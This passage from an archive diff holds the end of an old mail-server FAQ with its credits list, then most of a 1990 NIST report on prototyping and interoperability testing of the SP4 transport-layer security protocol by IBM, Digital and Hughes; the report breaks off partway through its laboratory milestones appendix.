Experimental server (?) address might + point to a human + telecom-archive-request@letni.lonestar.org + Comp.dcom.telecom archive + vax-pro@wkuvx1.bitnet Programs and files from the journal + "VAX Professional: A Technical Journal + for VMS Systems" + vmsnet-sources-serv@dmc.com Vmsnet.sources + wrl-techreports@decwrl.dec.com + DEC WRL technical reports and + abstracts + wscott@ecn.purdue.edu HP 48 programs; put HP-MAIL-SERVER in + mail Subject + xstuff@expo.lcs.mit.edu MIT X Consortium files, mainly + patches + +------------------------------ + +VII. Credits + +Bill Wohler provided many of the addresses in the +"Other mail servers" section above, and provided suggestions for +several other sections. Andrew Purshottam +also provided many mail archive server addresses. Bjorn P. Brox + provided information about Trickle. + +These people provided feedback and corrections: + + Denis.Buffenoir@inria.fr + Rusty Carruth + Tom Cunningham + Eric Gross + Dan Jacobson + Peter Deutsch + + Charles Geyer + Edwin Kremer + Rene Lampe + Kent Landfield + Jonathan Leech + Lee McLoughlin + Allen McAuley + Mark Maimone + Michael Meyer + Dick Munroe + Petri Ojala + Douglas Quist + George V. Reilly + John_Rouillard@dl5000.bc.edu + Timo Salmi + Rich Salz + Heribert Schuetz + Dan Shearer + Richard S. Smith + Mike Stump + Steve Sullivan + Steve Summit + Sydney S. Weinstein + Joe Wells + Jon Whellams + George Wilson + Bill Wohler + Christophe Wolfhugel + Adri Verhoef + Ed Vielmetti + +------------------------------ + +-- +Jonathan Kamens | OpenVision Technologies, Inc. | jik@security.ov.com + +------------------------------------------------------------------------------- diff --git a/textfiles.com/internet/sp4rpt.txt b/textfiles.com/internet/sp4rpt.txt new file mode 100644 index 00000000..27b5b92d --- /dev/null +++ b/textfiles.com/internet/sp4rpt.txt @@ -0,0 +1,1009 @@ + + + + +NISTIR 90-4228 + + + + + + PROTOTYPING SP4 + A SECURE DATA NETWORK SYSTEM TRANSPORT PROTOCOL + INTEROPERABILITY DEMONSTRATION PROJECT + + + + + + + + + + Charles Dinkel, Noel Nazario, and Robert Rosenthal + Computer Security Division + National Computer Systems Laboratory + National Institute of Standards and Technology + Gaithersburg, MD 20899 + + + + + + + + +. + + + TABLE OF CONTENTS + + +ABSTRACT . . . . . . . . . . . . . . . . . . . . . . . . . . . 1 + +PREFACE. . . . . . . . . . . . . . . . . . . . . . . . . . . . 2 + +1. PROJECT SUMMARY. . . . . . . . . . . . . . . . . . . . . . 3 + 1.1 Computer Network Security - Why Needed?. . . . . . . 3 + 1.2 Why Security at Layer 4 (SP4)? . . . . . . . . . . . 3 + 1.3 NIST's OSI Security Laboratory . . . . . . . . . . . 3 + 1.4 Results. . . . . . . . . . . . . . . . . . . . . . . 4 + 1.5 Future Work. . . . . . . . . . . . . . . . . . . . . 4 + +2. INTRODUCTION. . . . . . . . . . . . . . . . . . . . . . . 5 + +3. BACKGROUND INFORMATION FOR SP4. . . . . . . . . . . . . . 6 + +4. SP4 INTEROPERABILITY PROJECT DESCRIPTION. . . . . . . . . 7 + 4.1 GOSIP Security . . . . . . . . . . . . . . . . . . . 7 + 4.2 The Secure Data Network System (SDNS) Project at + NIST . . . . . . . . . . . . . . . . . . . . . . . . 7 + 4.3 SDNS Status. . . . . . . . . . . . . . . . . . . . . 9 + 4.4 SP4 Protocol Development . . . . . . . . . . . . . . 11 + +5. OSI SECURITY LABORATORY PROGRAM . . . . . . . . . . . . . 12 + +6. SP4 INTEROPERABILITY TESTING. . . . . . . . . . . . . . . 14 + 6.1 Establishing the SP4 Laboratory. . . . . . . . . . . 14 + +7. VENDOR IMPLEMENTATIONS OF SP4 . . . . . . . . . . . . . . 16 + 7.1 IBM SP4 Implementation - Description and Features. . 16 + 7.2 Digital Equipment Corporation SP4 Implementation - + Description and Features . . . . . . . . . . . . . . 17 + 7.3 Hughes Aircraft Company SP4 Implementation - Description + and Features . . . . . . . . . . . . . . . . . . . . 18 + +8. RESULTS OF LABORATORY TESTING OF SP4 PROTOTYPES . . . . . 20 + 8.1 SP4 Interoperability Demonstration . . . . . . . . . 20 + 8.2 Hughes/Digital Interoperability Demonstration. . . . 20 + 8.3 IBM Interoperability Demonstration . . . . . . . . . 20 + 8.4 Alignment of SP4 Implementations . . . . . . . . . . 21 + +9. CONCLUSIONS . . . . . . . . . . . . . . . . . . . . . . . 22 + +10. FUTURE SP4 EFFORTS. . . . . . . . . . . . . . . . . . . . 23 + 10.1 NIST SP4 Reference Implementation and Conformance Test + Methodology. . . . . . . . . . . . . . . . . . . . . 23 + +LIST OF ABBREVIATIONS. . . . . . . . . . . . . . . . . . . . . 24 + +REFERENCES . . . . . . . . . . . . . . . . . . . . . . . . . . 25 + +APPENDIX 1 OSI SECURITY LABORATORY MILESTONES . . . . . . . . 26 + +APPENDIX 2 OSI SECURITY LAB GUIDELINES. . . . . . . . . . . . 28 + +APPENDIX 3 NIST SP4 DEMONSTRATION AGREEMENTS. . . . . . . . . 29 +. + + + PROTOTYPING SP4 + A SECURE DATA NETWORK SYSTEM TRANSPORT PROTOCOL + INTEROPERABILITY DEMONSTRATION PROJECT + + + + + Charles Dinkel, Noel Nazario, and Robert Rosenthal + Computer Security Division + National Computer Systems Laboratory + National Institute of Standards and Technology + Gaithersburg, Maryland 20899 + + + + +ABSTRACT + +The NIST Secure Data Network System (SDNS) project implements +computer to computer communications security for distributed applications. +The internationally accepted Open Systems Interconnection (OSI) computer +networking architecture provides the framework for SDNS, which is a project +of the National Security Agency (NSA). SDNS utilizes the layering principles +of OSI to implement secure data transfers between computer nodes of local +area and wide area networks. SDNS implements SP4, a security protocol at +the OSI Transport layer (layer 4) that provides end-to-end reliable +transparent data communications with confidentiality and integrity security +services. Laboratory prototypes of SP4 formed the basis of proposed +voluntary national standards and will form the basis for future security +enhancements for the Government Open Systems Interconnection Profile +(GOSIP). + +KEY WORDS + +Computer security, conformance testing, local area networks (LAN), network +security, protocol security, SDNS, transport protocols + + + + + + + +The mention of certain vendor products in this report in no way implies +endorsement or recommendation of any kind.. + + + + + + + + + PREFACE + + + The Computer Security Act of 1987 (P.L. 100-235), focuses + attention on the need to protect sensitive government + information. The National Institute of Standards and + Technology (NIST) is assigned the responsibility for + developing standards and guidelines to improve the + Federal Government's management and use of computer + and related telecommunications systems. Included in this + effort is developing cost-effective security mechanisms for + providing privacy and security of sensitive information in + Federal computer systems. + + In addition to its responsibilities for the development of + standards and guidelines, NIST's National Computer + Systems Laboratory (NCSL) provides technical assistance + to federal agencies and conducts a program of research. + This program supports both standards development and + technical assistance, and includes the development of test + methods, the conduct of laboratory based activities, and + collaborative research with other organizations. + + In all areas of standards development, NIST has adopted + the approach of working closely within the voluntary + standards community to encourage National and + international standards that meet the requirements of the + U.S. Federal Government. The networking standards + community bases its work on the International Standard + Organization's (ISO) Basic Reference Model for Open + Systems Interconnection (OSI). This model, recognized + internationally as a framework under which computer-to- + computer communications protocols are developed, forms + the basis for NIST's standards development and + implementations activities for computer networks.. + + + +1. PROJECT SUMMARY + + +1.1 Computer Network Security - Why Needed? + +The Open Systems Interconnection (OSI) standards being adopted by +government and industry make it possible to interconnect computer systems +manufactured by different vendors. Maintaining the confidentiality, integrity, +and availability of data transmitted between these interconnected computers +poses new problems. Users of networked computers need assurance that the +systems with which they are communicating are not only "open", but also +secure from unauthorized modifications, undetected loss, and unauthorized +disclosure. Standard security protocols must provide for the verification of +the identities of both the senders and receivers of data to ensure that +computers and connecting communications are secure. + +1.2 Why Security at Layer 4 (SP4)? + +The Transport layer of the 7-layer OSI model provides reliable end-to-end +transparent data communications through a network. The Transport layer +security protocol (SP4) provides confidentiality and integrity services to data +being transmitted between computers. NIST decided to focus initial network +security work at layer 4 for several important reasons: + + a. Security at the Transport layer (SP4) is independent of network + technology + + b. The security protocols developed for the transport layer had + matured to the point where vendors could begin building prototype + implementations. + + c. SP4 had the potential to become a government and industry + standard. + + +1.3 NIST's OSI Security Laboratory + +The OSI Security Laboratory was established to provide a resource where +interested researchers from government and industry can experiment with +new network security ideas. Three vendors, Digital Equipment Corporation, +IBM, and Hughes Aircraft Company are currently using the laboratory to test +and demonstrate a subset of the Transport Layer security protocols (SP4). + +1.4 Results + + a. Interoperability of the Hughes and Digital prototype SP4 + implementations has been achieved. + + b. The success of the NIST project prompted NSA to release ten + Secure Data Network System (SDNS) documents for public review. + + c. The SP4 protocol specification has been accepted by the American + National Standards Institute (ANSI) as a New Work Item. + +1.5 Future Work + +The results achieved in the OSI Security Laboratory demonstration of SP4 +justify follow-up work. NIST is planning to develop a reference +implementation of SP4 and related conformance test methodologies and to +initiate work in the area of Key Management. The use of labels in SP4 is +another item that is under investigation. Integrated Services Digital Networks +(ISDN) security activities may lead to the establishment of an OSI/ISDN +security laboratory.. + + + +2. INTRODUCTION + + +This report describes the results of work that NIST completed as part of its +commitment to provide solutions and develop standards for, computer +network security. The approach that NIST adopted was to work in +partnership with the National Security Agency (NSA) and industry to +demonstrate security at the Transport layer of the OSI model. + +NIST is active in developing federal, national and international security +standards based on laboratory results in network security. An OSI Security +Laboratory was established to permit engineers from NIST, IBM, Digital and +Hughes to cooperatively develop prototype implementations of Transport +layer security protocols (SP4). Interoperability demonstrations of the SP4 +implementations provided by the three vendors were conducted in the +laboratory. An important goal of this effort is to develop commercial +markets for security products based on U.S. Government and industry +requirements.. + + + +3. BACKGROUND INFORMATION FOR SP4 + + +The Security Protocol at Layer 4 of the OSI 7-layer architecture is called +SP4. The OSI architecture is defined by International Standard IS-7498, a +document issued by the International Organization for Standardization (ISO). +The SP4 protocol document is based on the Security Architecture addendum +to OSI, IS-7498/2. SP4 provides Integrity and Confidentiality services at the +bottom of the Transport Layer (layer 4), right on top of the Network Layer +(layer 3). + +Layer 4 is the first place in the OSI architecture where reliable end-to-end +connections are established. All the addressing information in layer 3 and +below remains in the clear. For this reason SP4 can provide transparent +protection regardless of the type of network used; e.g. wide area or local +area. + +SP4 makes no assumptions about the encryption algorithm(s) used. It also +assumes that some other trusted entity is responsible for providing pairwise +cryptographic associations that support local security policies. + +SP4 takes the information from layer 4 and above and encapsulates it. If the +Integrity Service is requested, the encapsulation consists of a cryptographic +checksum performed over all the information from Transport and above. +The result of the checksum is appended to the end of the packet. If +Confidentiality is requested, the packet plus the integrity checksum, if present, +is encrypted. + +There are two major options in SP4; SP4-E and SP4-C. SP4-E stands for +"End-to-End" SP4 protection. This option provides a single cryptographic +association to protect all communications between any pair of end systems. +The E option supports a connectionless security service as described in IS- +7498/2. SP4-E provides protection for either connection-oriented or +connectionless Transport. + +SP4-C is "Connection-oriented" SP4 protection. Under this option every +Transport connection is protected by an individual cryptographic association. +It provides a finer key granularity than SP4-E. This is a connection-oriented +security service as specified in IS-7498/2. SP4-C protection can only be +provided when a connection-oriented Transport service is available.. + + + +4. SP4 INTEROPERABILITY PROJECT DESCRIPTION + + +4.1 GOSIP Security + +The Government Open Systems Interconnection Profile (GOSIP), FIPS 146, +identifies standard OSI network protocols and specific options for use in +federal Government distributed computer network applications. Taken +together, these standard protocols and options form a profile. Today, GOSIP +does not include a security profile, but does includes a chapter on security +that provide for a security label consistent with the Internet Protocol Security +Option. The appendix to GOSIP identifies security as the highest priority +advanced requirement for future versions of GOSIP. + +NIST works with the National Security Agency (NSA) and industry to bring +proposals for security technology standards to the voluntary standards +community. The goal is to develop internationally accepted standards that +can be implemented in network security products, that meet the U.S. +Government's security requirements and can be marketed internationally by +U.S. industry. The GOSIP security profiles will reflect these international +standards where appropriate. + +4.2 The Secure Data Network System (SDNS) Project at NIST + +At the present time there are no base standards for computer network +security. One of NIST's objectives in participating in the SDNS project was +to assist in developing a framework of base standards for security. Working +with IBM, Digital and Hughes, NIST was able to develop a set of agreements +for demonstrating the interoperability of SP4 prototype implementations. + +The SP4 protocol specification has been modified and updated as a result of +work accomplished in the NIST OSI Security Laboratory. This specification +has been submitted to ANSI where it is expected it will serve as the basis for +a national, and eventually, an international (ISO) standard for security. Once +base standards for security exist, these can be submitted to the NIST +Workshop for Implementors of OSI to begin the process of establishing stable +implementation agreements. These agreements often serve as catalysts to the +development and marketing of actual vendor products. +. +While it is recognized that detailed security mechanisms would differ for +classified and unclassified applications, both would benefit from a common +security foundation. The OSI Basic Reference Model provides the +foundation. Through participation in the Secure Data Network System +(SDNS) project of the National Security Agency, NIST expects to exploit the +potential economic benefits derived from standardizing security built on that +foundation. NIST's SDNS activities will help define the architecture and +protocols within the framework of the OSI computer network model to +provide data communications with security. In addition, requirements for a +key management system will be specified and vendors encouraged to develop +interoperable equipments that implement SDNS Protocols. + +Three phases of the SDNS project were defined. Phase 1, completed in mid +1987, developed a security architecture based on the OSI model and defined +a key management system for use on commercial data networks. + +Phase 1A, focused on the development of protocols for Phase 1. + +Phase 2 will result in a family of low cost interoperable off-the-shelf security +products for use in personal computers, micro and mini-computers, modems +and host computers. These devices will provide protection for local area +networks (LANS), electronic mail (E-Mail), and public and private data +networks.. +4.3 SDNS Status + +NIST has taken an active role in national and international standards +activities for computer networks; and at industry's request, NIST sponsors the +NIST Workshop for Implementors of Open Systems Interconnection. +Workshop documents record stable implementation agreements of OSI +protocols among the organizations participating in the NIST Workshop. The +Workshop's Special Interest Group on Security has reviewed the SDNS +documents dealing with security protocols at layer 3 (SP3) and at layer 4 +(SP4). Current work involves defining the security services and information +that must be provided by a Key Management System to SP4. + +The dotted lines in Figure 1 illustrate the possible locations for security +protocols in the GOSIP, FIPS 146. NIST's computer network security +standards activity focuses on development of security profiles that include +SP3, SP4, security management, security for electronic mail (X.400), and +possibly SP2 security. + +In April 1989, NSA released the SP4 specification into the public domain. +The ANSI committee responsible for data communications (X3S3.3) reviewed +the SP4 document during its April 1989 meeting and approved it for +placement as a New Work Item for ISO standardization. This contribution +serves as base text for use in preparation of Addenda to the ISO 8073 (OSI +Connection Oriented Transport Protocol Specification) and ISO 8602 (OSI +Connectionless Transport Service) documents. + +The following SDNS documents have also been released for public review: + +SDNS.301 - Security Protocol 3 (SP3) +SDNS.601 - Key Management Profile - Communication Protocol + Requirements for Support of the SDNS Key Management + Protocol +SDNS.701 - Message Security Protocol +SDNS.702 - SDNS Directory Specifications for Utilization with the SDNS + Message Security Protocol +SDNS.801 - Access Control Documents +SDNS.802 - Access Control Specification +SDNS.902 - Key Management Protocol - Definition of Services Provided + by the Key Management Application Service Element +SDNS.903 - Key Management Protocol - Specification of the Protocol for + Services Provided by the Key Management Application Service + Element +SDNS.906 - Key Management Protocol - SDNS Traffic Key Attribute + Negotiation + + . +4.4 SP4 Protocol Development + +SDNS SP4 Implementors Meetings were held approximately every two months +at NIST. During these meetings, the participants, representatives from IBM, +Hughes, and Digital, met with NIST engineers and reviewed the status of the +SP4 implementations, updated the set of Demonstration Agreements, and +recommended changes and corrections to implementations in the laboratory. +The Demonstration Agreements were a subset of the SP4 protocol +specifications that the three vendors agreed to implement in their prototypes. +Appendix 3. is an outline of those agreements. + +Laboratory sessions permitted the vendor representatives to discover +differences and "bugs" that prevented their SP4 implementations from +interoperating. Information from this work was reviewed at the SP4 Protocols +Meeting and agreements modified and/or confirmed. This allowed the +vendors to return to the laboratory with a clearer understanding of what had +to be done to their hardware and software to achieve interoperability.. + + + +5. OSI SECURITY LABORATORY PROGRAM + + +NIST's OSI Security Laboratory was established as a direct result of a +recognized need for improved computer network security. Current research +focuses on security at the Transport Layer (SP4), where reliable end system +computer to end system computer communications is provided. + +.The objectives of NIST's OSI Security Laboratory Program are: + + . Develop OSI security standards that would be useful in government + and commercial applications; + + . Develop and perform interoperability demonstrations of OSI security + equipment; + + . Develop automated conformance testing methodologies for the + standards; + + . Develop conformance tests of security devices implementing the + standards; + + . Maintain compatibility between the public OSI security standards + and the Secure Data Network Systems (SDNS) specifications. + + . Stimulate the development of commercial products compatible with + OSI standards + +Figure 2 illustrates the laboratory layout and the configuration for the +computers that are participating in the SP4 interoperability tests. The NIST +IEEE 802.3 local area network extends through a gateway to OSINET. + +Appendix 1 lists the milestones met in developing the laboratory. + +Appendix 2 is a list of the guidelines for use of the OSI Security Laboratory +proposed by NIST and agreed to by the SP4 vendors.. + + + +6. SP4 INTEROPERABILITY TESTING + + +6.1 Establishing the SP4 Laboratory + +IBM, Hughes Aircraft Company and Digital Equipment Corporation (SDNS +contractors for SP4) agreed to provide NIST with the following: + + . A duplicate of the prototype SP4 development system that was being + used for Phase IA of the SDNS project. + + . Copies of the software and source code being used for its + implementation. + + . A commitment of time from a person or persons knowledgeable of + the implementation (hardware and software) to participate in + defining the interoperability demonstration, modify the software to + perform the demonstrations, and assist NIST in performing the initial + demonstrations. + +A fourth company, Sun Microsystems Inc., (not an SDNS contractor) +provided NIST with a model 3/280 micro computer system and source code +for the SunLink OSI software. Throughout this project Sun Microsystems has +furnished technical support as well as upgrades to their software products +when new releases were issued. + + +NIST engineers installed the cabling required for an IEEE 802.3 bus utilizing +Carrier Sense Multiple Access with Collision Detection (CSMA/CD) as the +access method. This local area network (LAN) was configured as a +subnetwork of the main computer network spanning the NIST campus. + +Two Sun computers, a model 3/280 on loan from the company and a model +3/50 Workstation owned by NIST were the first machines connected to the +laboratory subnetwork. The 3/280 was delivered with two 575 megabyte disk +drives, a 10 1/2 inch magnetic tape drive, and a color monitor. This computer +was configured as the gateway between the laboratory subnetwork and the +NIST network. + +Sun provided NIST with version 3.5 of the Sun Operating System and version +5.2 of the SunLink OSI Source Code. Under the software licensing +agreement Sun Microsystems had approved a NIST request that it be +permitted to modify the OSI code to include Transport Layer security.. +Two IBM RISC Technology Personal Computers (RT/PC) were delivered to +NIST in November 1988. Engineers from IBM assisted NIST personnel in +installing the units and connecting them to the 802.3 subnetwork in the +laboratory. Documentation needed to operate the PC's and run the SP4 +demonstration test scripts was furnished by IBM. + +In January 1989 Digital Equipment Corporation and Hughes Aircraft +Company provided computer hardware, software and documentation required +to demonstrate their versions of the SP4 protocols. Shortly thereafter, all +three vendors met with NIST engineers to begin the process of demonstrating +interoperability.. + + + +7. VENDOR IMPLEMENTATIONS OF SP4 + + +Three vendors, Digital, IBM, and Hughes agreed to participate in the NIST +SP4 Interoperability Project. A brief description of each vendor's prototype +implementation follows. + +7.1 IBM SP4 Implementation - Description and Features + +The IBM implementation of SP4 was developed as part of the IBM-funded +ARGO project at the University of Wisconsin. The overall objective of the +ARGO project was to implement a suite of computer networking software +based on the international standards for Open System Interconnection. The +software was designed to run on an IBM RT/PC model 125 computer +workstation using a version of the 4.3 BSD Unix operating system. The IBM +SP4 prototype developed as part of the ARGO project incorporates part of +the set of SDNS standards and protocols designed to provide secure +communications in an OSI environment. + +The subset of SP4 features implemented in the IBM RT/PC's includes: + + . SP4-C + . Full-software implementation of SP4 + . Full OSI stacks + . XOR cryptography + . OSI over TCP addressing + . Access control mechanism + . Security parameter negotiation + . Simulations of certain malicious attacks + +The Key Management Protocol (KMP) services related to the exchange of +credentials and the traffic encryption key attributes were implemented by +IBM. However, those services that required the existence of a Key +Management Center (KMC), such as retrieval of the Compromised Key List, +were not implemented. Instead, stub interfaces to those portions of the +protocol were provided. + +The transport layer on which the IBM SP4 prototype is based contains the +connection-oriented transport service. Within the connection-oriented +transport entity, only classes 0 and 4 of the ISO transport protocol are +implemented. The IBM prototype implements the Security Encapsulation +function, the Data Encipherment function (confidentiality), the Integrity +function (unique sequence numbers, final sequence numbers, direction +indication), the Security Label function (single security labels only) and the +Security Padding function. + +In the IBM prototype a simple key creation device is simulated by software. +A data base for the storage of traffic encryption keys is also implemented. + +Access control is provided by the IBM system. Whenever access control +decisions are necessary, a stub procedure, which queries an operator for a yes +or no decision is used. The access control functions supported in this way +include: + + . The determination of security options, permissible security levels, + security labels, and traffic encryption key attributes proposed by the + initiator of a cryptographic association between two SDNS users; + + . The selection of the same items by the responder of a cryptographic + association between two SDNS users. + +The security options sets supported by the IBM prototype are: + + . Confidentiality + + . Integrity + + . Confidentiality and integrity + +For these option sets key granularity per-transport-connection or per end +system can be selected. The cryptographic algorithm provided by the IBM +prototype is a "exclusive OR" (XOR) function. + +7.2 Digital Equipment Corporation SP4 Implementation - Description and + Features + +Digital's SP4 prototype implementation was created by modifying an existing +product called a Digital Ethernet Secure Network Controller (DESNC). +These controllers are external encryption devices. A standard DESNC +performs DES (FIPS PUB46-1) encryption at layer 2. The modified DESNCs +implement SP4-E connectionless security services and incorporate a procedure +to negotiate cryptographic associations. At least one VAX Station node is +required to control the security devices on the LAN. + +The controlling VAX node contains a database with information about the +encryption devices and the network configuration. It contains the names of +the encryption devices, their network addresses, date of modification, the +name of the firmware image being run, and the type of audit conducted. The +information in the database is loaded into the devices to control their +operation and set alarms to flag relevant events. A system administrator can +review information in the database and reports from the DESNCs to detect +unauthorized modification.. +A DESNC can be used to furnish security services to non-Digital hosts as +well. In the OSI Security Laboratory, a DESNC is used to provide +transparent OSI security services to a Sun model 3/50 workstation. Because +the DESNC is able to distinguish between OSI and non-OSI data packets, it +can encrypt OSI data without interfering with any other network traffic. + +SP4 features implemented by Digital in their prototype device include: + + . SP4-E + . External device controlled by a Vax node on the LAN + . Hardware DES cryptography + . Messaging application on top of TP4 + . OSINET addressing + . Peer address checking + . Simple key management scheme + +7.3 Hughes Aircraft Company SP4 Implementation - Description and + Features + +The Hughes prototype SP4 device is implemented as an embedded intelligent +communications controller capable of being installed in a variety of +workstations. The prototype used in the OSI Security Laboratory is installed +in a model 286 Personal Computer. + +The embedded intelligent communications controller card performs all the +communications protocol processing as well as providing a hardware +implemented cryptographic function, ie. DES. + +The controller board consists of an 80286 microprocessor running in protected +mode, 512K bytes of DRAM, a subnetwork interface (IEEE 802.3 or ethernet +in the current version) and an embedded cryptographic device. A multi- +tasking real-time protected mode operating system is provided for the board. +Under this operating system, protocol and cryptographic software functions +can be implemented as individual tasks which enforce process isolation.. +The Hughes prototype SP4 device is based on version 1.2 (dated 07/12/88) of +the SP4 specification and implements the SP4-E option. + +The following features of the SP4 security protocols are also implemented: + + . SP4-E + . On-board hardware card with dedicated 80286 microprocessor + operating in protected mode, DES hardware, and IEEE 802.3 + implementation + . Messaging application on top of TP4 + . OSINET addressing + . Peer address checking + . Simple key management scheme + +The data encipherment function chosen for the Hughes prototype SP4 device +is the DES algorithm. Process isolation keeps the actual key value out of +user process space. + +The Hughes prototype SP4 device implements a Key Management Protocol. +This protocol allows for an electronic key management in which the two end- +systems desiring to communicate first authenticate themselves to each other. +Both create the same pairwise traffic encryption key, and then negotiate the +security services that they will use on information protected using that key. . + + + +8. RESULTS OF LABORATORY TESTING OF SP4 PROTOTYPES + + +8.1 SP4 Interoperability Demonstration + +In the OSI Security Laboratory the feasibility of secure OSI was demonstrated +by using SP4. Digital, IBM, and Hughes each chose a different method for +implementing the SP4 protocols. IBM selected a software approach. The +DESNC device used by Digital is hardware. Hughes' technique involved both +hardware and software. The variety in approaches clearly demonstrated the +implementation independence and flexibility of the SP4 protocol specification. + +The focus of the SP4 interoperability demonstration was on providing integrity +and confidentiality security services over an unprotected network. Related +issues, such as key management and cryptography, though very important with +respect to achieving interoperability, are not covered in the SP4 specification, +but in other SDNS documents. + +8.2 Hughes/Digital Interoperability Demonstration + +Interoperability of the Hughes and Digital implementations of SP4 was +achieved in the OSI Security Laboratory. Both systems use the OSINET +addressing scheme specified in the GOSIP agreements, the same protocol +exchange to obtain keys, support integrity and confidentiality services using +the Data Encryption Standard (DES) in the Cipher Block Chain Mode, and +the SP4-E option of the standard. + +Digital and Hughes implemented the first three layers of the OSI architecture +stack plus SP4 and Transport Class 4 (TP4). An application for message +handling was provided directly on top of TP4. + +8.3 IBM Interoperability Demonstration + +IBM implemented all seven layers of the OSI model in software. They chose +to use the SP4-C option of the specification. A stub procedure was used to +provide access control and service negotiation security. The application +programs provided by IBM run in the X-Windows environment.. +It was not possible to achieve interoperability between the IBM and either +the Digital or Hughes versions of SP4 for several reasons. IBM based its +implementation on an earlier version of the SP4 specification. IBM's +addressing scheme uses OSI over TCP (Transport Control Protocol) rather +than OSINET addressing. Other differences are with the Key Management +Application and the cryptographic algorithm used. For demonstration +purposes IBM used an XOR function rather than the DES algorithm used +by the other two vendors. + +8.4 Alignment of SP4 Implementations + +In June 1989, NIST and the vendors met to identify how each of the three +SP4 implementations mapped onto version 1.2 of the SP4 specification +document. Issues that prevented interoperability, recommended changes to +each vendor's prototype to achieve alignment and alternatives were outlined. +Because this effort was beyond the scope of work originally agreed to, the +vendors were not able to commit the resources required to make +modifications to their SP4 implementations. Since a strategy leading to +interoperability of the Digital, Hughes and IBM implementations has been +developed, NIST has encouraged the vendors to complete this objective +during the 1990 fiscal year and has offered continuing laboratory support.. + + + + +9. CONCLUSIONS + + +The OSI Security Laboratory has proven to be successful as a resource where +interested researchers from government, and industry, can experiment with +new ideas in network security, try new approaches for common problems, and +develop new solutions. The laboratory provided a neutral working +environment that fostered cooperation among the three vendors and ensured +the integrity of the experiment. The vendors, Digital Equipment Corporation, +IBM, and Hughes Aircraft Company are currently using the laboratory to test +and demonstrate a subset of the Transport Layer security protocols (SP4). + +Interoperability of the Hughes and Digital SP4 implementations has been +achieved. IBM's SP4 prototype was designed using an earlier version of the +specification. NSCL has proposed that all three vendors align their +prototypes with the most recent version of the SP4 document as the approach +for achieving interoperability. + +The laboratory exercise, with actual implementations of SP4, has assisted +NIST in its efforts to advance this technology in the voluntary standards +community. Through its involvement in national and international standards +organizations, NIST assisted the X3S3.3 committee of the American National +Standards Institute (ANSI) adopt the SP4 specification as a New Work Item. +It is felt that this process will lead to base standards in security that can be +brought into the GOSIP arena for approval as stable implementors +agreements. + +The National Security Agency (NSA) has released the SP4 specification for +public review. Additional SDNS documents have also been released. +Through its partnership with NSA, NIST will review these protocol documents +and where appropriate take the necessary action to have them adopted as +Federal Information Processing Standards (FIPS). + +Although current efforts in the OSI Security Laboratory focus on Transport +Layer security, it is possible that future work will involve Network Layer +security (SP3), and Integrated Services Digital Networks (ISDN) security. +Preliminary discussions have been held with vendors who have expressed an +interest in implementing SP3. ISDN activities may result in the establishment +of a joint OSI/ISDN security laboratory. Work in the areas of key +management and labels is also proposed.. + + + +10. FUTURE SP4 EFFORTS + + +10.1NIST SP4 Reference Implementation and Conformance Test + Methodology + +One of the objectives of NIST's work in Transport Layer security is to +develop an SP4 reference implementation. A Formal Description Language +(FDL) such as Estelle has been proposed for the development of this +reference implementation + +To assist in this work, a Sun model 3/260 computer system has been +purchased. This computer features a 327 megabyte disk drive, a 1/4 inch +cartridge tape drive and color monitor. + +The development and implementation of a conformance test methodology for +SP4 security devices complement this work. Conformance tests of computer +products help validate a manufacturer's claim that a product conforms to a +standard. For users, conformance testing reduces risks and uncertainties +associated with efforts to link products of different manufacturers. A +conformance test methodology provides vendors with the incentive needed to +accelerate the development and marketing of a product. + +NIST's conformance testing methodology will provide procedures for +accrediting testing facilities to conduct follow-on work. Documentation will +be provided that will permit other organizations and laboratories to perform +SP4 protocol conformance tests in an automated fashion. +. + + + + LIST OF ABBREVIATIONS + + + +ANSI American National Standards Institute +CSMA/CD Carrier Sense Multiple Access/Collision Detection +DES Data Encryption Standard +DESNC Digital Ethernet Secure Network Controller +DIGITAL Digital Equipment Corporation +E-MAIL Electronic Mail +FIPS Federal Information Processing Standard +FDL Formal Description Language +GOSIP Government Open Systems Interconnection Profile +HUGHES Hughes Aircraft Company +IEEE Institute of Electrical and Electronics Engineers, Inc. +ISDN Integrated Services Digital Network +ISO International Standards Organization +KMC Key Management Center +LAN Local Area Network +NIST National Institute of Standards and Technology +NCSL National Computer Systems Laboratory +NSA National Security Agency +OSI Open Systems Interconnection +SDNS Secure Data Network System +SP2 Security Protocol - Layer 2 +SP3 Security Protocol - Layer 3 +SP4 Security Protocol - Layer 4 +SP4-C Security at Layer 4 per Transport Connection +SP4-E Security at Layer 4 End System to End System +TP4 Transport Class 4 + +. + + + + REFERENCES + + +SDN.401 SDNS Secure Data Network Systems - Security + Protocol 4 (SP4); Revision 1.2, 1988-07-12 + +FIPS PUB146 Federal Information Processing Standards + Publication 146, Government Open Systems + Interconnection Profile (GOSIP), August 24, + 1988 + +FIPS PUB46-1 Federal Information Processing Standards + Publication 46-1, Data Encryption Standard, + Reaffirmed January 22, 1988 + +EK-DESNC-UG-001 DESNC Installation/User's guide - Digital + Equipment Corp., Maynard, MA. + +ISO7498 Information Processing Systems - Open Systems + Interconnection - Security Architecture (Part 2) + +ISO8073 Information Processing Systems - Open Systems + Interconnection - Connection Oriented Transport + Protocol Specification - Addendum 2: Class + Four Operation Over Connectionless Network + Service + +ISO8602 Information Processing System - Open Systems + Interconnection -Protocol for Providing the + Connectionless - Mode Transport Service + +ISO802.3 ANSI/IEEE Standard Draft International + Standard - Carrier Sense Multiple Access with + Collision Detection + + + +. + + + + APPENDIX 1 OSI SECURITY LABORATORY MILESTONES + + +As one of its milestones in support of the SDNS project, the National +Computer Systems Laboratory (NCSL) of NIST undertook the development +of an OSI Security Laboratory in FY88. The purpose of the laboratory is to +permit engineers and computer scientists from NIST and participating vendors +to: + + . Develop security protocols for computer network security + . Develop a demonstration system showing interoperability of devices + implementing the Security Protocol at Layer 4 (SP4) + . Develop and conduct conformance tests for SP4 + +Planning for the OSI Security Laboratory was begun in October 1987 +following approval to renovate two adjoining chemical laboratories in the +Technology Building. Physical and electrical layouts were developed by NIST +engineers. The plans were approved in November and the extensive work +required to remodel the area was begun in January 1988. This phase of the +work was completed in March 1988. Engineers from NIST coordinated these +activities. The work was accomplished by technicians from the NIST Plant +Division and included: + + . Removal of all chemical laboratory services including hot/cold water, + gas burners, and other miscellaneous equipment + . Removal of fume hood and cabinets + . Removal of the partitions separating the two rooms to permit + conversion to a double module laboratory + . Installation of additional lighting + . Site security provided by installation of cipher lock and heat and + smoke sensors + . Installation of electrical raceway and receptacles + . HVAC renovation + . Painting of entire laboratory space +. +While renovation work was underway a contract was issued for installation of +a raised floor system, carpeting, and an entrance ramp. The renovation work +in the laboratory space, including 